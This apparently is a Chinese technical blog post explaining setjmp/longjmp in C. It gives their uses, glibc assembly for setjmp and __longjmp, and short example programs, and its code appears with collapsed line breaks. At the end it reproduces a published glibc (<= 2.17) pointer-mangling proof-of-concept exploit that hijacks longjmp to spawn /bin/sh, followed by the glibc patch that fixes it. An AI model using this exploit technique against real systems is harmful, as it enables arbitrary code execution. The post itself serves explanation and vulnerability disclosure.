1. 应用场景
2. Use Case Code Analysis
3. 和setjmp、longjmp有关的glibc and eglibc 2.5, 2.7, 2.13 - Buffer Overflow Vulnerability

1. setjmp、longjmp的典型用途是异常处理机制的实现：利用longjmp恢复程序或线程的状态，甚至可以跳过栈中多层的函数调用2. 在信号处理机制中，进程在检查收到的信号，会从原来的系统调用中直接返回，而不是等到该调用完成。这种进程突然改变其上下文的情况，就是通过使用setjmp和longjmp来实现的。setjmp将保存的上下文载入用户空间，并继续在旧的上下文中继续执行。这就是说，进程执行一个系统调用，当因为资源或其他原因要去睡眠时，内核为进程作了一次setjmp，如果在睡眠中被信号唤醒，进程不能再进入睡眠时，内核为进程调用longjmp，该操作是内核为进程将现在的上下文切换成原先通过setjmp调用保存在进程用户区的上下文，这样就使得进程可以恢复等待资源前的状态，而且内核为setjmp返回1，使得进程知道该次系统调用失败 3. Linux的Kprobe机制使用setjmp、longjmp设置中断处理函数及回调函数4. C语言中有一个goto语句，其可以结合标号实现函数内部的任意跳转(但是在大多数情况下，都建议不要使用goto语句，因为采用goto语句后，代码维护工作量加大，而且使得代码的结构性变得很差)。另外，C语言标准中还提供一种非局部跳转"no-local goto"，其通过标准库<setjmp.h>中的两个标准函数setjmp和longjmp来实现 

http://www.cnblogs.com/lienhua34/archive/2012/04/22/2464859.html
https://msdn.microsoft.com/zh-cn/library/yz2ez4as.aspx

1. 非局部跳转setjmp()
头文件<setjmp.h>中的说明提供了一种避免通常的函数调用和返回顺序的途径，特别的，它允许立即从一个多层嵌套的函数调用中返回
/*
#include <setjmp.h>
int setjmp(jmp_buf env);
*/1) setjmp()宏把当前状态信息保存到env中，供以后longjmp()恢复状态信息时使用1.1) 如果是直接调用setjmp()，那么返回值为01.2) 如果是由于调用longjmp()而调用setjmp()，那么返回值非02) setjmp()只能在某些特定情况下调用，如在if语句、switch语句及循环语句的条件测试部分以及一些简单的关系表达式中2. 非局部跳转longjmp()1) longjmp()用于恢复由最近一次调用setjmp()时保存到env的状态信息。当它执行完时，程序就象setjmp()刚刚执行完并返回非0值val那样继续执行2) 值得注意的是，包含setjmp()宏调用的函数一定不能已经终止。如果setjmp所在的函数已经调用返回了，那么longjmp使用该处setjmp所填写的对应jmp_buf缓冲区将不再有效。这是因为longjmp所要返回的"栈帧"(stack frame)已经不再存在了，程序返回到一个不再存在的执行点，很可能覆盖或者弄坏程序栈3) 所有可访问的对象的值都与调用longjmp()时相同，唯一的例外是，那些调用setjmp()宏的函数中的非volatile自动变量如果在调用setjmp()后有了改变，那么就变成未定义的
/*
#include <setjmp.h>
void longjmp(jmp_buf env, int val);
*/

/*
Calling environment, plus possibly a saved signal mask.
*/
struct __jmp_buf_tag
{/* NOTE: The machine-dependent definitions of `__sigsetjmp' assume that a `jmp_buf' begins with a `__jmp_buf' and that `__mask_was_saved' follows it.  Do not move these members or add others before it.  */__jmp_buf __jmpbuf;        /* Calling environment.  */int __mask_was_saved;        /* Saved the signal mask */__sigset_t __saved_mask;    /* Saved signal mask.    */
};__BEGIN_NAMESPACE_STDtypedef struct __jmp_buf_tag jmp_buf[1];

/* Keep traditional entry points in with sigsetjmp(). */
ENTRY (setjmp)mov    x1, #1b    1f
END (setjmp)ENTRY (_setjmp)mov    x1, #0b    1f
END (_setjmp)
libc_hidden_def (_setjmp)ENTRY (__sigsetjmp)1:stp    x19, x20, [x0, #JB_X19<<3]stp    x21, x22, [x0, #JB_X21<<3]stp    x23, x24, [x0, #JB_X23<<3]stp    x25, x26, [x0, #JB_X25<<3]stp    x27, x28, [x0, #JB_X27<<3]stp    x29, x30, [x0, #JB_X29<<3]stp     d8,  d9, [x0, #JB_D8<<3]stp    d10, d11, [x0, #JB_D10<<3]stp    d12, d13, [x0, #JB_D12<<3]stp    d14, d15, [x0, #JB_D14<<3]mov    x2,  spstr    x2,  [x0, #JB_SP<<3]
#if defined NOT_IN_libc && defined IS_IN_rtld/* In ld.so we never save the signal mask */mov    w0, #0RET
#elseb    C_SYMBOL_NAME(__sigjmp_save)
#endif
END (__sigsetjmp)
hidden_def (__sigsetjmp)

/* setjmp example: error handling */
#include <stdio.h>      /* printf, scanf */
#include <stdlib.h>     /* exit */
#include <setjmp.h>     /* jmp_buf, setjmp, longjmp */main()
{jmp_buf env;int val;/*setjmp会多次返回setjmp return value1. 正常调用(保存当前call的env): 返回02. 调用longjmp返回: 取决于longjmp的第二个参数1) longjmp的第二个参数为非0: setjmp返回同样的值2) longjmp的第二个参数为0: setjmp返回1*/val = setjmp (env);if (val) {fprintf (stderr,"Error %d happened\n",val);exit (val);}printf("Calling function.\n");  longjmp (env,101);   /* signaling an error */return 0;
}

/* Jump to the position specified by ENV, causing the setjmp call there to return VAL, or 1 if VAL is 0. void __longjmp (__jmp_buf env, int val).  */
.text
ENTRY(__longjmp)/* Restore registers.  */mov (JB_RSP*8)(%rdi),%R8_LPmov (JB_RBP*8)(%rdi),%R9_LPmov (JB_PC*8)(%rdi),%RDX_LP
#ifdef PTR_DEMANGLEPTR_DEMANGLE (%R8_LP)PTR_DEMANGLE (%R9_LP)PTR_DEMANGLE (%RDX_LP)
# ifdef __ILP32__/* We ignored the high bits of the %rbp value because only the lowbits are mangled.  But we cannot presume that %rbp is being usedas a pointer and truncate it, so recover the high bits.  */movl (JB_RBP*8 + 4)(%rdi), %eaxshlq $32, %raxorq %rax, %r9
# endif
#endifLIBC_PROBE (longjmp, 3, LP_SIZE@%RDI_LP, -4@%esi, LP_SIZE@%RDX_LP)/* We add unwind information for the target here.  */cfi_def_cfa(%rdi, 0)cfi_register(%rsp,%r8)cfi_register(%rbp,%r9)cfi_register(%rip,%rdx)cfi_offset(%rbx,JB_RBX*8)cfi_offset(%r12,JB_R12*8)cfi_offset(%r13,JB_R13*8)cfi_offset(%r14,JB_R14*8)cfi_offset(%r15,JB_R15*8)movq (JB_RBX*8)(%rdi),%rbxmovq (JB_R12*8)(%rdi),%r12movq (JB_R13*8)(%rdi),%r13movq (JB_R14*8)(%rdi),%r14movq (JB_R15*8)(%rdi),%r15/* Set return value for setjmp.  */mov %esi, %eaxmov %R8_LP,%RSP_LPmovq %r9,%rbpLIBC_PROBE (longjmp_target, 3,LP_SIZE@%RDI_LP, -4@%eax, LP_SIZE@%RDX_LP)jmpq *%rdx
END (__longjmp)

/* longjmp example */
#include <stdio.h>      /* printf */
#include <setjmp.h>     /* jmp_buf, setjmp, longjmp */main()
{jmp_buf env;int val;val=setjmp(env);printf ("val is %d\n",val);if (!val) longjmp(env, 1);return 0;
}

http://my.oschina.net/onethin/blog/27793
https://www-s.acm.illinois.edu/webmonkeys/book/c_guide/2.8.html
http://www.cplusplus.com/reference/csetjmp/setjmp/
http://www.cplusplus.com/reference/csetjmp/longjmp/
http://zh.wikipedia.org/wiki/Setjmp.h
http://nativeclient.googlecode.com/svn-history/r157/trunk/nacl/googleclient/native_client/scons-out/doc/html/setjmp_8h-source.html
http://www.cnblogs.com/hazir/p/c_setjmp_longjmp.html

/** $FILE: bug-mangle.c** Comment: Proof of concept for glibc versions <= 2.17** $VERSION$** Author: Hector Marco <hecmargi@upv.es>*         Ismael Ripoll <iripoll@disca.upv.es>** $LICENSE:  * This program is free software; you can redistribute it and/or modify* it under the terms of the GNU General Public License as published by* the Free Software Foundation; either version 2 of the License, or* (at your option) any later version.** This program is distributed in the hope that it will be useful,* but WITHOUT ANY WARRANTY; without even the implied warranty of* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the* GNU General Public License for more details.** You should have received a copy of the GNU General Public License* along with this program; if not, write to the Free Software* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.*/#include <stdio.h>
#include <setjmp.h>
#include <stdint.h>
#include <limits.h>#ifdef __i386__#define ROTATE 0x9#define PC_ENV_OFFSET 0x14
#elif __x86_64__#define ROTATE 0x11#define PC_ENV_OFFSET 0x38
#elif __arm__#define ROTATE 0x0#define PC_ENV_OFFSET 0x24
#else#error The exploit does not support this architecture
#endifunsigned long rol(uintptr_t value)
{// return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));unsigned long ret;asm volatile("xor %%fs:0x30, %0; rol $0x11, %0" : "=g"(ret) : "0"(value));return ret;
}int hacked()
{printf("[+] hacked !!\n");system("/bin/sh");
}int main(void)
{//jmp_buf用于保存恢复调用环境所需的信息
   jmp_buf env;uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET);printf("[+] Exploiting ...\n");if(setjmp(env) == 1){printf("[-] Exploit failed.\n");return 0;}/*Overwrite env return address */*ptr_ret_env = rol((uintptr_t)hacked);longjmp(env, 1);printf("[-] Exploit failed.\n");return 0;
}

diff -rupN glibc-2.17/csu/libc-start.c glibc-2.17-mangle-fix/csu/libc-start.c
--- glibc-2.17/csu/libc-start.c    2012-12-25 04:02:13.000000000 +0100
+++ glibc-2.17-mangle-fix/csu/libc-start.c    2013-07-10 00:13:48.000000000 +0200
@@ -38,6 +38,12 @@ extern void __pthread_initialize_minimalin thread local area.  */uintptr_t __stack_chk_guard attribute_relro;# endif
+
+# ifndef  THREAD_SET_POINTER_GUARD
+uintptr_t __pointer_chk_guard_local
+     attribute_relro attribute_hidden __attribute__ ((nocommon));
+# endif
+#endif#ifdef HAVE_PTR_NTHREADS
@@ -184,6 +190,14 @@ LIBC_START_MAIN (int (*main) (int, char# else__stack_chk_guard = stack_chk_guard;# endif
+    uintptr_t pointer_chk_guard = _dl_setup_pointer_guard (_dl_random,
+                          stack_chk_guard);
+# ifdef THREAD_SET_POINTER_GUARD
+      THREAD_SET_POINTER_GUARD (pointer_chk_guard);
+# else
+      __pointer_chk_guard_local = pointer_chk_guard;
+# endif
+#endif/* Register the destructor of the dynamic linker if there is any.  */

http://www.mra.net.cn/thread-17257-1-1.html
http://hmarco.org/bugs/patches/ptr_mangle-eglibc-2.17.patch
http://downloads.securityfocus.com/vulnerabilities/exploits/61183.c
http://sebug.net/vuldb/ssvid-82213